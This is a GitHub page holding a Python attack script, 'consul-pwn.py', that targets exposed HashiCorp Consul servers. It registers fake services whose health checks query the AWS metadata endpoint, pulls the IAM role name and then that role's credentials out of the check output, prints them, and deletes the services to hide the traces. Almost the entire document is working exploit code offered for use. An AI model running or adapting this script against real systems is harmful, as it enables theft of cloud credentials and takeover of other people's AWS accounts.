forked from random-robbie/consul-pwn
-
Notifications
You must be signed in to change notification settings - Fork 1
/
consul-pwn.py
174 lines (142 loc) · 6.63 KB
/
consul-pwn.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#!/usr/bin/env python
#
#
# Author: random_robbie
import colorama
import sys
import os
import re
import json
import requests
from time import sleep
import base64
import argparse
from colorama import init, Fore, Back, Style
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import urllib3
urllib3.disable_warnings()
init(autoreset=True)
# Configuration
session = requests.Session()
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--server", required=True, help="Consule Server IP")
args = parser.parse_args()
def remove_services(URL):
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":"http://"+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.put(""+URL+"/v1/agent/service/deregister/AWSIAM-Grabber-P1", headers=headers, verify=False)
if response.status_code == 200:
print (Fore.GREEN + "[*] Payload One Removed [*]")
else:
print(Fore.RED + '[!] Unable To Remove Payload One')
response2 = session.put(""+URL+"/v1/agent/service/deregister/AWSIAM-Grabber-IAMNAMEGRAB", headers=headers, verify=False)
if response2.status_code == 200:
print (Fore.GREEN + "[*] Payload One Removed [*]")
else:
print(Fore.RED + '[!] Unable To Remove Payload One')
response3 = session.put(""+URL+"/v1/agent/service/deregister/AWSIAM-Grabber-IAMNAMEGRAB2", headers=headers, verify=False)
if response3.status_code == 200:
print (Fore.GREEN + "[*] Payload Two Removed [*]")
else:
print(Fore.RED + '[!] Unable To Remove Payload Two')
response4 = session.put(""+URL+"/v1/agent/service/deregister/AWSIAM-Grabber-P2", headers=headers, verify=False)
if response4.status_code == 200:
print (Fore.GREEN + "[*] Payload Two Removed [*]")
else:
print(Fore.RED + '[!] Unable To Remove Payload Two')
def grab_dc (URL):
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":"http://"+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.get(""+URL+"/v1/catalog/datacenters", headers=headers, verify=False)
if response.status_code == 200:
js = json.loads(response.content)
dc = js[0]
print (Fore.GREEN + "[*] Datacenter Chosen [*]")
return dc
else:
print(Fore.RED + '[!] Unable to parse DC\n')
exit();
def send_payload_one (URL):
payload = '''{
"ID": "AWSIAM-Grabber-P1",
"Name": "AWSIAM-Grabber-IAMNAMEGRAB",
"Tags": [],
"Address": "169.254.169.254",
"Port": 80,
"Check": {
"Interval": "10s",
"HTTP": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"DeregisterCriticalServiceAfter": "10m"
}
}
'''
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":""+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.put(""+URL+"/v1/agent/service/register", data=payload, headers=headers, verify=False)
if response.status_code == 200:
print (Fore.GREEN + "[*] Payload One Sent [*]")
else:
print(Fore.RED + '[!] Payload One Failed\n')
exit();
def send_payload_two (URL,IAM):
payload = '''{
"ID": "AWSIAM-Grabber-P2",
"Name": "AWSIAM-Grabber-IAMNAMEGRAB2",
"Tags": [],
"Address": "169.254.169.254",
"Port": 80,
"Check": {
"Interval": "10s",
"HTTP": "http://169.254.169.254/latest/meta-data/iam/security-credentials/'''+IAM+'''/",
"DeregisterCriticalServiceAfter": "10m"
}
}
'''
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":""+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.put(""+URL+"/v1/agent/service/register", data=payload, headers=headers, verify=False)
if response.status_code == 200:
print (Fore.GREEN + "[*] Payload Two Sent [*]")
else:
print(Fore.RED + '[!] Payload Two Failed\n')
exit();
def parse_payload_one(URL,DC):
paramsGet = {"dc":DC,"token":""}
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":""+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.get(""+URL+"/v1/internal/ui/nodes", params=paramsGet, headers=headers, verify=False)
if response.status_code == 200:
js = json.loads(response.content)
for p in js:
for Serv in p['Checks']:
if Serv['ServiceName'] == "AWSIAM-Grabber-IAMNAMEGRAB":
out = Serv['Output']
IAM = out.replace("HTTP GET http://169.254.169.254/latest/meta-data/iam/security-credentials/: 200 OK Output: ","")
print (Fore.GREEN + "[*] IAM Role Name: "+IAM+" [*]")
return IAM
def parse_payload_two(URL,DC):
paramsGet = {"dc":DC,"token":""}
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":""+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.get(""+URL+"/v1/internal/ui/nodes", params=paramsGet, headers=headers, verify=False)
if response.status_code == 200:
js = json.loads(response.content)
for p in js:
for Serv in p['Checks']:
if Serv['ServiceName'] == "AWSIAM-Grabber-IAMNAMEGRAB2":
IAMKEYS = Serv['Output']
print (Fore.GREEN + "[*] IAM Role Keys: "+IAMKEYS+" [*]")
try:
URL = args.server
DC = grab_dc (URL)
send_payload_one (URL)
print (Fore.GREEN + "[*] Sleeping 10 seconds to allow time for system to parse. [*]")
sleep (10)
IAM = parse_payload_one(URL,DC)
send_payload_two (URL,IAM)
print (Fore.GREEN + "[*] Sleeping 10 seconds to allow time for system to parse. [*]")
sleep (10)
parse_payload_two(URL,DC)
remove_services(URL)
except KeyboardInterrupt:
print ("Ctrl-c pressed ...")
sys.exit(1)
except Exception as e:
print('Error: %s' % e)
print['data']
pass